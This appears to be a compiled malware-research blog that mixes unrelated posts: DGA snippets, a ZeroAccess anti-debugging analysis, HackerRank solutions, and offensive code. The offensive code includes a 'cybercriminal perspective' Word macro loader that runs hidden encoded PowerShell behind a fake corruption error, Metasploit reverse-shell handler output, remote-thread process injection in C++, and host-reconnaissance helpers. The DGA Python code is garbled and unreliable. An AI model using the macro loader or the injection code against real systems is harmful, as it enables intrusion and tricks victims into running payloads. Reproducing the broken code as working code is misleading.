Domain Generation Algorithm (DGA): Ways to Communicate

# Domain Generation Algorithm (DGA): Python Implementation 

Ways to disseminate the DGA seed:
(1) Spread inside the bot config (easy but insecure);
(2) Generate based on the GetSystemInfo & GetCurrentUser etc. (local environment) (more secure)
(3) Pull additional websites based off the seed websites’ HTML source code . Example,

ROEbG92ZXJhaW4ueHl6ROE

# ROE is a marker for Base64-encoded loverain.xyz

1.
# -*- coding: utf-8 -*- 
import hashlib
def md5_dga(seed)
 var hashlib.md5() # hash the seed using the entry algorithm 
 var.update(seedname 
 var.hexdigest() # cut all the strings after the 10th one 
 part name[:10
 return “{}.xyz”.format(part

seed “cm9jayduJ3JvbGw=” # ASCII: rock’n’roll 
for in range(12)
 seed md5_dga(seed)
 
print seed

2.
# -*- coding: utf-8 -*- 
import hashlib
dga_dictionary = [‘btc’‘love’‘bit’,‘rain’,‘drop’
def dictionary_dga(seed): 
 ln len(dga_dictionary# check the maximum length of the DGA dictionary
 
if ln ln <= seed
  return False # choose 2 words 
 first seed ln
 last seed ln # create an address concatenating variable 1 + variable 2 
 addr “{}{}.xyz”.format(dga_dictionary[first],dga_dictionary[last]
 return addr
for in range(20)
 print dictionary_dga(x)


Dissecting ZeroAccess: Int 2d Anti-Debugging Technique

Source: fumalwareanalysis.blogspot.com

Learning Goals:

  • Understand the general interrupt handling mechanism on x86 platform;
  • Understand the byte scission anti-debugging technique; and,
  • Know how to use a binary debugger to patch an executable program

The general anti-debugging techniques are as follows:
(1) to detect the existence of a debugger, and behave differently when a debugger is attached to the current process; and,
(2) to disrupt or crash a debugger.

The instruction we are trying to analyze is the “INT 2D” instruction located at 0x00413BD5 (as shown in Figure 1). By single-stepping the malware, you might notice that the program’s entry point is 0x00413BC8. After the execution of the first 8 instructions, right before the “INT 2D” instruction, the value of EAX is 0x1. This is an important fact you should remember in the later analysis.

Docm Macro Beacon Loader: From Cybercriminal Perspective

Goal:

  • Simulate an advanced adversary using macros with .docm documents and PowerShell to create a beacon-type payload using unicorn.py (thanks to TrustedSec!)
  • It is similar to Locky, Cerber, Carbanak payloads minus PowerShell

For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it AutoOpen and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that.

The full macro script is as follows:

Sub AutoOpen()
Dim x
x = "-window hidden -EncodedCommand " "
Shell ("powershell.exe " & x)
Dim title As String
title = "Critical Microsoft Office Error"
Dim msg As String
Dim intResponse As Integer
msg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup."
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub


Attacker’s View:

  • msfconsole -r unicorn.rn
  • [*] Exploit running as background job.
  • [*] Started reverse TCP handler on 192.168.0.196:443 
  • [*] Starting the payload handler…
  • [*] Encoded stage with x86/shikata_ga_nai

Tkinter Contruct Template

# Python2 example

import Tkinter as tk
import Tkinter, Tkconstants, tkFileDialog
import winappdbg
from winappdbg import win32
from Tkinter import *
import tkMessageBox
import ttk


class system_information():
def __init__(self):
self.info_list = ''

def retrieve_sysinfo(self):
# Create a System object
# https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/system.py#L66
system = winappdbg.System()

# Use the built-in WinAppDbg table
# https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/textio.py#L1094
table = winappdbg.Table("\t")

# New line
table.addRow("", "")

# Header
title = ("System Information", "")
table.addRow(*title)

# Add system information
table.addRow("------------------")
table.addRow("Bits", system.bits)
table.addRow("OS", system.os)
table.addRow("Architecture", system.arch)
table.addRow("32-bit Emulation", system.wow64)
table.addRow("Admin", system.is_admin())
table.addRow("WinAppDbg", winappdbg.version)
table.addRow("Process Count", system.get_process_count())

self.info_list = table.getOutput()
return self.info_list

class process():
def __init__(self):
self.process_list = ''

def process_retrieve(self):
system = winappdbg.System()

# We can reuse example 02 from the docs
# https://winappdbg.readthedocs.io/en/latest/Instrumentation.html#example-2-enumerating-running-processes
table = winappdbg.Table("\t")
table.addRow("", "")

header = ("Process ID ", "Process Name")
table.addRow(*header)

table.addRow("----", "----------")

processes = {}
# Add all processes to a dictionary then sort them by pid
for process in system:
processes[process.get_pid()] = process.get_filename()

# Iterate through processes sorted by pid
for key in sorted(processes.iterkeys()):
table.addRow(key, processes[key])
self.process_list = table.getOutput()
return self.process_list

def print_process():
d = process()
d.process_retrieve()
tkMessageBox.showinfo("PROCESS LIST", d.process_list)

def donothing():
x = 0

def helloCallBack():
tkMessageBox.showinfo( "Credit", "[*] Made by VK_")

if __name__ == "__main__":

root = Tk()
root.title("[*] Welcome to MalInspector")
root.geometry("800x600")
btn = Button(root, text="Refresh Process List", command=print_process, bd =5)
btn.grid(column=0, row=0)
btn.pack()
ttk.Separator(root).place(x=0, y=1, relwidth=1)
# open ask
# Credit button implemenation
B = Button(root, text="Credit", command=helloCallBack)
B.grid(column=0, row=0)
B.pack()
# Get user input implementaiton
var = StringVar()
textbox = Entry(root, textvariable=var, bd =5)
textbox.focus_set()
textbox.pack(pady=10, padx=10)
ttk.Separator(root).place(x=0, y=26, relwidth=1)

# menu implementation
menubar = Menu(root)
filemenu = Menu(menubar, tearoff=0)
filemenu.add_command(label="New", command=donothing)
filemenu.add_command(label="Open", command=donothing)
filemenu.add_command(label="Save", command=donothing)
filemenu.add_separator()
filemenu.add_command(label="Exit", command=root.quit)
menubar.add_cascade(label="File", menu=filemenu)
helpmenu = Menu(menubar, tearoff=0)
helpmenu.add_command(label="Help Index", command=donothing)
helpmenu.add_command(label="About...", command=donothing)
menubar.add_cascade(label="Help", menu=helpmenu)
root.config(menu=menubar)
# retreive system information
S = Text(root, height=30, width=34, bd =5)
S.pack(padx=0, pady=10, side=LEFT)
s = system_information()
s.retrieve_sysinfo()
S.insert(END, s.info_list)
# process retrieve implementation
P = Text(root, height=100, width=80, bd =5)
P.pack(padx=0, pady=10, side=LEFT)
d = process()
d.process_retrieve()
P.insert(END, d.process_list)
root.mainloop()

Programming Challenge in HackerRank

Task
  • You are given two values  and . 
  • Perform integer division and print .
Input Format
  • The first line contains , the number of test cases. 
  • The next  lines each contain the space separated values of  and .
Constraints
  • 0 < T < 10
Output Format
  1. Print the value of . 
  2. In the case of ZeroDivisionError or ValueError, print the error code.
Solution:
===
num_of_cases = input()
for i in range(0,int(num_of_cases)):
try:
a, b = map(int, input().split())
print(a//b)
except (ZeroDivisionError, ValueError) as e:
print("Error Code:", e)

===

C++ Code Cave Function Template

#define _CRT_SECURE_NO_WARNINGS 

#include
#include
#include

typedef int(__stdcall *__MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);

class cavedata {
public:
char chMessage[256];
char chTitle[256];
DWORD paMessageBoxA;
};

DWORD GetProcId(char* procname)
{
PROCESSENTRY32 pe;
HANDLE hSnap;

pe.dwSize = sizeof(PROCESSENTRY32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnap, &pe)) {
do {
if (strcmp(pe.szExeFile, procname) == 0)
break;
} while (Process32Next(hSnap, &pe));
}
return pe.th32ProcessID;
}

DWORD __stdcall RemoteThread(cavedata *cData)
{
__MessageBoxA MsgBox = (__MessageBoxA)cData->paMessageBoxA;
MsgBox(NULL, cData->chMessage, cData->chTitle, MB_ICONINFORMATION); //call it
return EXIT_SUCCESS;
}


int main()
{
cavedata CaveData;
ZeroMemory(&CaveData, sizeof(cavedata));
strcpy_s(CaveData.chMessage, "function called from remote process");
strcpy_s(CaveData.chTitle, "title from codecave");
HINSTANCE hUserModule = LoadLibrary("user32.dll");
CaveData.paMessageBoxA = (DWORD)GetProcAddress(hUserModule, "MessageBoxA");
FreeLibrary(hUserModule);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId((char*)"coreshredder.exe"));
LPVOID pRemoteThread = VirtualAllocEx(hProcess, NULL, sizeof(cavedata), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteThread, (LPVOID)RemoteThread, sizeof(cavedata), 0);
cavedata *pData = (cavedata*)VirtualAllocEx(hProcess, NULL, sizeof(cavedata), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pData, &CaveData, sizeof(cavedata), NULL);
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, pData, 0, 0);
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteThread, sizeof(cavedata), MEM_RELEASE);
CloseHandle(hProcess);
getchar();
return 0;
}

C Code Helper Template

I. XOR string function

string XOR(string data, char key[])
{
string xorstring = data;
for (int i = 0; i < xorstring.size(); i++) {
xorstring[i] = data[i] ^ key[i % (sizeof(key) / sizeof(char))];
}
return xorstring;
}

II. GetSerialNumber function

LPCWSTR GetSerialNumber(void)
{
DWORD ser;
WCHAR sw[32];
GetVolumeInformationA(NULL, NULL, 0, &ser, NULL, NULL, NULL, 0);
wsprintfW(sw, L"\nVOLUME INFORMATION: %X", ser);
return sw;
}

III. GetComputerName function

LPCWSTR GetComputer(void)
{
WCHAR lu[32];
WCHAR du[32];
DWORD bufCharCount = INFO_BUFFER_SIZE;
GetComputerNameW(lu, &bufCharCount);
wsprintfW(du, L"\nLOCAL COMPUTERNAME: %s", lu);
return du;
}

IV. GetLocalUser function

LPCWSTR LocalUser(void)
{
WCHAR lu[32];
WCHAR du[32];
DWORD bufCharCount = INFO_BUFFER_SIZE;
GetUserNameW(lu, &bufCharCount);
wsprintfW(du, L"\nLOCAL USERNAME: %s", lu);
return du;
}

V. GetCurrentPath function

LPCWSTR GetCurrentPath(void)
{
WCHAR proc[MAX_PATH];
WCHAR du[255];
GetModuleFileNameW(NULL, proc, sizeof(proc));
wsprintfW(du, L"\nCURRENT PATH: %s", proc);
return du;
}

VI. GetLocalTime function

LPCWSTR GetTime(void)
{
SYSTEMTIME lt;
GetLocalTime(&lt);
WCHAR du[255];
wsprintfW(du, L"\nSYSTEM TIME IS: %02d:%02d", lt.wHour, lt.wMinute);
return du;
}

VII.  GetLanguage function

LPCWSTR GetLanguage(void)
{
WCHAR du[255];
LANGID languer = GetSystemDefaultLangID();
wsprintfW(du, L"\nSYSTEM LANGUAGE CODE: %d", languer);
return du;
}

VIII. GetProcessList function

char* GetProcessList()
{
char ps_buffer1[10030];
char ps_buffer[10000];
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pInfo;
pInfo.dwSize = sizeof(PROCESSENTRY32);
while (Process32Next(snapshot, &pInfo))
{
lstrcat(ps_buffer, ":");
lstrcat(ps_buffer, pInfo.szExeFile);
//MessageBox(NULL, buffer, buffer, MB_OK);
}
CloseHandle(snapshot);
wsprintf(ps_buffer1, "\nSYSTEM PROCESS LIST: %s", ps_buffer);
return ps_buffer1;
}

IX. GetProcessByName function

DWORD GetProcessByName(char* pName)
{
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pInfo;
pInfo.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &pInfo))
while (Process32Next(snapshot, &pInfo))
{
if (_stricmp(pName, pInfo.szExeFile) == 0)
{
pid = pInfo.th32ProcessID;
CloseHandle(snapshot);
return pid;
}
}
CloseHandle(snapshot);
return 0;
}

X. ReadMemory function

byte* ReadMemory(DWORD address, DWORD size, DWORD pID)
{
static byte* bytes = new byte[size];
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pID);
ReadProcessMemory(hProcess, (void*)address, bytes, size, NULL);
CloseHandle(hProcess);
return bytes;
}

XI. str::string to LPCWSTR  function (string to LPCWSTR)

std::wstring string_to_lpwstr(const std::string& s)
{
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}

std::wstring stemp = string_to_lpwstr(xored);
LPCWSTR result = stemp.c_str();
XII. char_array_to_lpwstr function

LPCWSTR char_array_to_lpwstr(char* characterarray)
{
size_t newsize = strlen(characterarray) + 1;
wchar_t * wcstring = new wchar_t[newsize];
size_t convertedChars = 0;
mbstowcs_s(&convertedChars, wcstring, newsize, characterarray, _TRUNCATE);
return wcstring;
}

XIII. GetDebugPrivilege function

void GetDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
    TOKEN_PRIVILEGES tp;
    OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = sedebugnameValue;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges( hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
    CloseHandle(hToken);
}

Let’s Code in Python for HackerRank: Sorting Problem

You are given data in a tabular format. The data contains  rows, and each row contains  space separated elements.
You can imagine the  items to be different attributes, (like height, weight, energy, etc.) and each of the  rows as an instance or a sample.
Your task is to sort the table on the th attribute and print the final resulting table.
Note: If two attributes are the same for different rows, print the row that appeared first in the input.
Input Format
The first line contains  and  separated by a space.
The next  lines each contain  elements.
The last line contains .
Output Format
Print the  lines of the sorted table. Each line should contain the space separated elements. Check the sample below for clarity.
Sample Input
5 3
10 2 5
7 1 0
9 9 9
1 23 12
6 5 9
1
Sample Output
7 1 0
10 2 5
6 5 9
9 9 9
1 23 12
#!/bin/usr
# Coded by @VK_Intel for HackerRan

N, M = map(int, input().split(" "))
rows = [input() for i in range(N)]
K = int(input())

class C:
@staticmethod
def func():
for row in sorted(rows, key=lambda row: int(row.split()[K])):
print(row)
return
if __name__ == "__main__":
try:
elem = C()
elem.func()
except Error as e:
print("Error", e)
raise

Let’s Learn: C++ & Structs

Source: hackerrank.com

struct is a way to combine multiple fields to represent a composite data structure, which further lays the foundation for Object Oriented Programming. For example, we can store details related to a student in a struct consisting of his age (int), first_name (string), last_name (string) and standard (int).

struct can be represented as
struct NewType {
type1 value1;
type2 value2;
.
.
.
typeN valueN;
};
You have to create a struct, named Student, representing the student’s details, as mentioned above, and store the data of a student.
Input Format
Input will consist of four lines.
The first line will contain an integer, representing age.
The second line will contain a string, consisting of lower-case Latin characters (‘a’-‘z’), representing the first_name of a student.
The third line will contain another string, consisting of lower-case Latin characters (‘a’-‘z’), representing the last_name of a student.
The fourth line will contain an integer, representing the standard of student.
Note: The number of characters in first_name and last_name will not exceed 50.
Output Format
Output will be of a single line, consisting of agefirst_namelast_name and standard, each separated by one white space.
P.S.: I/O will be handled by HackerRank.
Solution:
#include 
#include
#include
#include
#include
using namespace std;

struct Student{
unsigned int age;
char first_name[51];
char last_name[51];
unsigned int standard;
};

int main() {
Student st;
cin >> st.age >> st.first_name >> st.last_name >> st.standard;
cout << st.age << " " << st.first_name << " " << st.last_name << " " << st.standard;

return 0;
}


Let’s Learn: eval() in Python

The eval() expression is a very powerful built-in function of Python. It helps in evaluating an expression. The expression can be a Python statement, or a code object.
For example:
>>> eval("9 + 5")
14
>>> x = 2
>>> eval("x + 3")
5
Here, eval() can also be used to work with Python keywords or defined functions and variables. These would normally be stored as strings.
For example:
>>> type(eval("len"))


Without eval()

>>> type("len")

Task
You are given an expression in a line. Read that line as a string variable, such as var, and print the result using eval(var).
#Python3 Solution by VK
N = input()
class C:
@staticmethod
def m(N):
return eval(N)
if __name__ == "__main__":
try:
j = C()
j.m(N)
except IOError as e:
print("I/O error({0}): {1}".format(e.errno, e.strerror))
raise